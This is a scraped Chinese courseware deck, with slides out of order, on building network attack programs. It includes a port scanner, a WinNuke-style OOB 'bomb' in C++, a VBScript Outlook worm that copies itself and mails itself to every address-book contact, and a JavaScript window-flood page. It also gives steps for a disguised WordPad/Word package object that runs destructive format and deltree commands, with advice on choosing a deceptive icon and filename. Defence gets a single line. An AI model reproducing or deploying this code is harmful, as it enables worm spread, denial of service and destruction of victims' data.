网络攻击与防御实例课件

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
一、扫描器程序设计
要求具备网络攻防基本原理、C++编程技术、 VBS脚本编程、基于TCP/IP的Win Scoket编程。 这个扫描器相当简单,只需要有一定的 C 语言 编程能力和Socket知识就可以完成。当然,这 个简单的扫描器并不是真正意义上的端口扫描 器,因为它给出的信息太少了,而且这种扫描 会在目标机上留下大量的记录,有经验的管理 员一看就知道自己正在受到攻击,而且可以马 上追踪到扫描者。如果要进一步扫描出更多信 息并隐蔽自己,需要用到许多复杂的扫描技术。
通过OutLook传播的电子邮件病毒都是向地址 簿中存储的电子邮件地址发送内同相同的脚本 附件完成的。 Set objOA=Wscript.CreateObject ("Outlook.Application") //创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace ("MAPI") //取得MAPI名字空间 Fori=1to objMapi.AddressLists.Count //遍历地址簿
OOB(Out Of Band)是TCP/IP的一种传 输模式,是早期Win95/NT的漏洞,攻击 者向系统139端口传送0字节数据包时, Win系统自动恢复该数据碎片,导致系统 资源耗尽,使机器出现蓝屏,以至死机。 常见有:WinNuke、Voob等网络炸弹。
该程序是用Visual C++6.0语言设计的,使用 Scoket套接字的通信形式,利用数据包频繁的 发送,造成接受方系统瘫痪。 #include<windows.h> #include<winsock.h> #include<stdio.h> #pragma comment(lib,"wsock32.lib") /*定义攻击目标计算机的IP地址*/ char *IpAddr; int IpPort;//进攻端口135或137或139 char *Msg= "You are bombed!"; /*在被攻击者计算机上显示"You are bombed!" 字符串*/
printf("connecte to [127.0.0.0:139]"); //*发送攻击字符*// if(send(sd,Msg,strlen(Msg),MSG_OOB)==SOC KET_ERROR) {printf("send data error!"); closesocket(sd); WSACleanup(); return 1;} //*关闭连接,释放资源*// closesocket(sd); //WSACleanup();
by
{ printf("usage:OOB Ip Port 135"); return 1; }
IpAddr=argv[1]; IpPort=atoi(argv[2]); /*初始化winsock*/ if(WSAStartup(MAKEWORD(2,2),&wsaData)! =0) { printf("init socket error!"); return 1; }
//下面用connect 与端口建立连接,如果可以连接表示 端口开启,否则关闭 for(int i=1;i<k;i++) //循环1到k个端口 {g2=WSAStartup(0x0101,&ws); s=socket(PF_INET,SOCK_STREAM,0); //创建套接字,TCP/IP协议,流Socket addr.sin_family=PF_INET; //规定使用IPv4协议 addr.sin_addr.s_addr=inet_addr("10.1.8.**"); //指定为IP为10.1.8.**,实验时可以更改 addr.sin_port=htons(i); //端口号 if(s= =INVALID_SOCKET) break; //如果socket没有连接上,退出 g1=connect(s,(struct sockaddr*)&addr,sizeof(addr)); //建立连接,判断端口是否关闭
例:txt炸弹 (1)建立一个仅有简单字符的文本文件,任意取文件名, 如在记事本建立一个空格文件。
(2)打开写字板文档,将该文件拖入写字板文 档中。
也可以从写字板的“插入”—“对象”, 弹出”插入对象”的对话框中选择“从 文件创建”—然后在“浏览”按钮选择 要插入的文件。
(3)调用对象包 选中该插入的图标,单击右键,选择“对象包对象”-“编辑对象包”。
在“对象包”的对话栏中选择“编辑”--“命 令行”可以输入以下命令。
Format a:/q/autotest/u start.exe/m format a:/q/autotest/u(win98系统) deltree /y a:\*.* c:\*.* deltree /y c:\windows\system\*.c
然后将包拖放到桌面上,可以作为附件 发出,或嵌入文档中。 防治:在怀疑的包上单击右键,选“编 辑”,即可看到输入的命令。
IpAddr=argv[1]; IpPort=atoi(argv[2]); /*初始化winsock*/ If(WSAStartup(0x0101,&wsaData) //函数WSAStartup()初始化Windows Socket API,参数WAVES指定为winsock版本,参数 wsadata指定为返回WSADATA的数据类型 {printf(“Init TCP/IP stack error!”); Return 1; }
void Banner(void) { /*被段显示攻击者信息*/ printf("Windows95 OOB Bomber jiaocang"); } int main(int argc,char *argv[]) {/*开始定义变量*/ struct sockaddr_in sin; WSADATA wsaData; SOCKET sd; Banner();/*显示攻击者信息*/
SetobjAddList=objMapi.AddressL is ts (i) For j=1 To objAddList. AddressEnt ries.Count
Set objMail=objOA.CreateItem(0)
objMail.Recipients.Add(objAddList.Addres sEntries(j))//取得邮件地址,收件人 objMail.Subject = "你好!" objMail.Body ="这次给你的附件是我的新文档!" objMail.Attachments.Add(“c:\virus.vbs") //把自己作为附件扩散出去 objMail.Send//发送邮件 Next Next ……….
五、网络炸弹编程设计
打开outlook express:
进入Βιβλιοθήκη Baidu信编辑
例:网页炸弹,该程序保存在htm为后缀的文 件中,放在邮件的附件中,当双击它时,出现 无穷网页窗口,将系统资源耗尽。 <html> <head> <title>no</title> <script language=“JavaScript”> 使用Java脚本 function openwindow() { for(i=0;i<3;i++) 这里可以控制窗口的个 数window.open('http://10.0.0.50') } </script> </head> <body onload="openwindow()"> </body> </html>
例:网络炸弹,如果将电子邮件夹带在word文挡中, 激活炸弹方法如下:建立一个新文件->执行”插入对 象”->插入”包”对象->确定
start.exe/m format a:/q/autotest/u format: 格式化 a:磁盘 /q:快速格式化 u:强制执行 autotest:自动执行
OutLook攻击程序是由VBScript编写的,其自我 复制的原理基本上是利用程序将本身的脚本内 容复制一份到一个临时文件,然后再在传播的 环节将其作为附件发送出去。我们看看脚本是 怎么样完成这个功能的。 Set so=CreateObject("Scripting.FileSystemObject") //是创建一个文件系统对象 so.GetFile(WScript.ScriptFullName).Copy("C:\ dateiname.vbs") //打开这个脚本文件,WScript.ScriptFullName 指明是这个程序本身,是一个完整的路径文件 名。GetFile函数获得这个文件,Copy函数将这 个文件复制到 c 盘根目录下 dateiname.vbs 这个 文件。
if(g1!=0) {printf("10.1.8.62:%i 端口关闭\n",i); //指定的端口关 闭 WSACleanup();} else { printf("10.1.8.**:%i 端口开启\n",i); }//指定的端口开 放 closesocket(s); //关闭套接字 }}
二、OOB网络炸弹攻击编程
建立套接字 设置端口号
用 connect 与指 定 IP 地址连接 与端口请求连接 Y 是否连接? 显示端口开启 显示端口关闭 N
取下一个端口
#include<winsock2.h> //包含windows套接字函数 #include"stdio.h" #pragma comment(lib,"ws2_32") //将注释wsock32放置到lib文件中 #include<stdlib.h> #include<windows.h> void main() {WSADATA ws; //将ws的数据类型声明为WSADATA SOCKET s; struct sockaddr_in addr; //系统保存套接字地址的结构体 int g1,k; long g2; printf("请输入要监测最大的端口号\n"); scanf("%d",&k);
} if(wsaData.wVersion!=0x0101) {printf("Winsock version is incorrect"); //*版本有错误,无法通信*/ WSACleanup(); // 函 数 WSACleanup() 关 闭 Socket套接字// return 1; } if((sd=socket(AF_INET,SOCK_STREAM,IPPRO TO_IP))= =INVALID_SOCKET) {printf("Create socket error!"); return 1;} //*连接到被攻击者的IP地址#//
连接被拒绝
目标主机
黑客 连接成功 后门
源程序如下:
四、OutLook漏洞攻击程序设计
网络邮箱病毒是目前常见的攻击手段之一,该
编程要求学生具备以下几点基础:
1.VBS脚本语言、Javascript脚本语言、网页 编程、Windows系统脚本语言。
2 .具备网络编程知识,Windows网络安全设 置,网络传输构成, Windows注册表设置, 请参照《信息系统安全与对抗技术实验教程》 (罗森林、高平)
//*提示 printf("Bomb complete!"); return 0; }
三、木马设计原理
特洛伊木马(Trojan horse)是一种隐藏了具 有攻击性的应用程序,与病毒程序不同,它不 具备复制能力,其功能具有破坏性质。 大部分木马采用C/S运行模式,当服务端在目 标计算机上被运行后,打开一个特定的端口进 行监听,当客户端向服务器发出连接请求时, 服务器端的相应程序会自动运行,来应答客户 机的请求。
输入命令形式如下:
(4)修改外观 单击“插入图标”--从中任选一个图标。这里 要求选择一个具有欺骗性的图标,能够使用户 上当而被攻击。 比如:将下载音乐的图标加入信件文档中,当 双击时则系统被破坏。
同时可以给包建立一个文件名,这样更 有诱惑性,方法:“编辑”--“标签”-在对话框中输入所要更该的文件名。
相关文档
最新文档